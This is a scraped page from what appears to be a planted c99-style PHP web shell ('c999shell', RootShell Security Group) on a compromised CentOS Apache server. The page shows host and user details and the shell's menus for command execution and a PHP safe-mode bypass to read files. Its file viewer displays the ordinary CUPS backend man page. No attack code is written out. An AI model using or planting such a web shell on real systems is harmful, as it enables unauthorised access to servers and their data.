Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/doc/cups-1.3.7/help/ drwxr-xr-x |
Viewing file: man-backend.html (5.55 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | Namebackend - cups backend transmission interfacesSynopsisbackendbackend job user title num-copies options [ filename ] DescriptionBackends are a special type of filter(7) which is used to send print data to and discover different devices on the system.Like filters, backends must be capable of reading from a filename on the command-line or from the standard input, copying the standard input to a temporary file as required by the physical interface. The command name (argv[0]) is set to the device URI of the destination printer. Starting with CUPS 1.1.22, any authentication information in argv[0] is removed, so backend developers are urged to use the DEVICE_URI environment variable whenever authentication information is required. The CUPS API includes a cupsBackendDeviceURI function for retrieving the correct device URI. Back-channel data from the device should be relayed to the job filters by writing to file descriptor 3. The CUPS API includes the cupsBackChannelWrite function for this purpose. Device DiscoveryWhen run with no arguments, the backend should list the devices and schemes it supports or is advertising to stdout. The output consists of zero or more lines consisting of any of the following forms:device-class scheme "Unknown" "device-info" device-class device-uri "device-make-and-model" "device-info" device-class device-uri "device-make-and-model" "device-info" "device-id" The device-class field is one of the following values:
The scheme field provides the URI scheme that is supported by the backend. Backends should use this form only when the backend supports any URI using that scheme. The device-uri field specifies the full URI to use when communicating with the device. The device-make-and-model field specifies the make and model of the device, e.g. "Acme Foojet 2000". If the make and model is not known, you must report "Unknown". The device-info field specifies additional information about the device. Typically this includes the make and model along with the port number or network address, e.g. "Acme Foojet 2000 USB #1". The optional device-id field specifies the IEEE-1284 device ID string for the device, which is used to select a matching driver. PermissionsBackends without world execute permissions are run as the root user. Otherwise, the backend is run using the unprivileged user account, typically "lp".Exit CodesThe following exit codes are defined for backends; C API constants defined in the <cups/backend.h> header file are defined in parenthesis:
All other exit code values are reserved. See Alsocupsd(8), cupsd.conf(5), filter(7)http://localhost:631/help CopyrightCopyright 2007 by Apple Inc. |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0121 ]-- |